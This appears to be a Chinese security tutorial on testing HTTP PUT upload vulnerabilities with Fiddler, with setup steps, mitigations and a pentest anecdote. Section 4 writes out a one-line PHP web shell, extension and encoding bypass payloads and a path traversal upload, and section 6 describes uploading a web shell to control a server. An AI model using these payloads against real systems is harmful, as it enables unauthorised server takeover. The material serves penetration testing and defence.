1. HTTP协议安全实验概述
在Web应用安全领域,深入理解HTTP协议的工作原理和潜在风险是每个安全从业者的必修课。本次实验将聚焦HTTP协议中PUT方法的上传机制,结合Fiddler抓包工具进行实战分析。不同于常规的GET/POST方法讨论,PUT方法因其直接修改服务器资源的特性,往往成为安全测试中的重点对象。
我曾在一个电商平台的安全评估中发现,开发人员无意中开启了PUT方法且未做任何权限校验,导致攻击者可以直接上传WebShell控制服务器。这个案例让我意识到,对HTTP方法的深入理解不能停留在表面。通过本次实验,你将掌握:
- HTTP PUT方法的安全特性分析
- 使用Fiddler进行请求构造和流量分析
- 文件上传漏洞的检测方法
- 实际渗透测试中的技巧应用
2. HTTP PUT方法深度解析
2.1 PUT方法规范与实现
根据RFC 2616标准,PUT方法用于向指定URI传输资源表示。与POST方法不同,PUT具有幂等性——多次相同请求产生的结果一致。在服务端实现上,典型的PUT请求处理流程如下:
- 客户端发送PUT请求到/resources/item1
- 服务器检查目标URI是否存在
- 不存在则创建新资源,存在则完全替换
- 返回201(Created)或200(OK)状态码
PUT /uploads/test.txt HTTP/1.1 Host: example.com Content-Type: text/plain Content-Length: 15 This is a test.2.2 常见安全隐患
在实际应用中,PUT方法可能引入以下风险:
- 未授权访问:未验证用户权限直接处理PUT请求
- 目录穿越:未过滤
../等特殊字符导致文件上传到非预期目录 - 类型混淆:仅依赖Content-Type头未做实际文件内容校验
- 资源耗尽:未限制上传文件大小导致磁盘空间攻击
关键提示:Apache服务器默认配置允许PUT方法,但需要配合DAV模块。Nginx默认禁用PUT方法,需要显式配置
dav_methods PUT;才会启用。
3. Fiddler抓包实战配置
3.1 基础环境搭建
- 下载安装Fiddler Classic(最新版为v5.0.20211)
- 配置HTTPS解密:
- Tools > Options > HTTPS
- 勾选"Decrypt HTTPS traffic"
- 安装根证书到受信任的根证书颁发机构
- 验证代理设置:
- 默认监听8888端口
- 确保WinINET代理已正确配置
# 快速检查代理配置 netsh winhttp show proxy3.2 手机端抓包技巧
针对移动端测试的特殊配置:
- 确保PC和手机在同一局域网
- 手机WiFi设置手动代理:
- 主机:PC的IP地址
- 端口:8888
- 手机安装Fiddler根证书:
- 访问
http://<PC_IP>:8888 - 下载FiddlerRoot证书
- 在系统证书存储中安装
- 访问
常见问题:Android 7+需要额外配置网络安全性策略才能识别用户安装的CA证书。iOS需要在"关于本机-证书信任设置"中启用完整信任。
4. PUT上传漏洞实战分析
4.1 基础漏洞检测
使用Fiddler构造测试请求:
- 打开Composer标签页
- 选择PUT方法
- 输入目标URL(如
http://test.com/uploads/shell.php) - 添加恶意文件内容:
<?php system($_GET['cmd']); ?> - 执行请求并观察响应
4.2 高级绕过技术
当遇到基础防护时,可尝试以下技巧:
路径混淆:
PUT /uploads/shell.php%20 HTTP/1.1 PUT /uploads/shell.php. HTTP/1.1编码绕过:
PUT /uploads/shell.%70hp HTTP/1.1请求头污染:
PUT /uploads/shell.jpg HTTP/1.1 Content-Type: image/jpeg X-Real-Content-Type: application/x-php
4.3 自动化测试方案
将以下脚本保存为put_test.js并导入FiddlerScript:
static function OnBeforeRequest(oSession: Session) { if (oSession.uriContains("test-upload")) { oSession.utilCreateResponseAndBypassServer(); oSession.responseCode = 200; oSession.oResponse.headers.HTTPResponseCode = 200; oSession.oResponse.headers.Add("Content-Type", "text/plain"); oSession.utilSetResponseBody("PUT Test Response"); } }配合过滤规则实现自动化测试:
- 设置过滤器仅显示目标域名流量
- 使用AutoResponder模拟各种响应场景
- 通过命令行批量执行测试用例:
PUT http://test.com/uploads/test1.txt PUT http://test.com/uploads/../config.php
5. 安全防护方案
5.1 服务端防护
方法限制:
location /uploads { limit_except GET POST { deny all; } }内容校验:
ALLOWED_EXTENSIONS = {'jpg', 'png'} def allowed_file(filename): return '.' in filename and \ filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS存储隔离:
- 上传目录设置为不可执行
- 使用CDN分发静态资源
- 文件名采用随机哈希值存储
5.2 监控与审计
通过Fiddler的过滤功能建立监控规则:
检测可疑PUT请求:
@Request.Method PUT && !@Request.Headers.Contains("Authorization")记录异常文件类型:
@Response.ContentType contains "php" || @Response.ContentType contains "jsp"设置告警通知:
- 使用FiddlerScript的
MailRequest()函数发送邮件告警 - 集成Slack等IM工具实时通知
- 使用FiddlerScript的
6. 渗透测试实战案例
在某次企业授权测试中,我们发现目标系统存在以下问题:
- WebDAV模块意外开启
- PUT方法未做权限控制
- 上传目录与web根目录重叠
利用Fiddler构造的攻击流程:
- 首次探测返回405(方法不允许)
- 尝试
OPTIONS / HTTP/1.1发现允许PUT - 上传测试文件确认可执行:
PUT /test.txt HTTP/1.1 Host: vulnerable.com Content-Length: 12 Hello World - 最终上传webshell获取控制权
修复建议:
- 立即禁用WebDAV模块
- 配置严格的访问控制列表(ACL)
- 对上传目录设置不可执行权限
7. 工具链扩展建议
除Fiddler外,安全测试人员还应掌握:
Burp Suite:
- 更专业的拦截修改功能
- Intruder模块适合批量测试
- 完善的插件生态系统
Wireshark:
- 底层网络流量分析
- 检测非HTTP协议的风险
- 取证调查必备工具
自定义脚本:
import requests from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) def test_put(url): try: r = requests.put(url, data='test', verify=False) return r.status_code except Exception as e: return str(e)
在实际工作中,我习惯先用Fiddler进行快速验证,确认存在风险后再用Burp Suite深入测试,最后用Wireshark进行网络层分析。这种组合能覆盖从应用层到网络层的完整测试链条。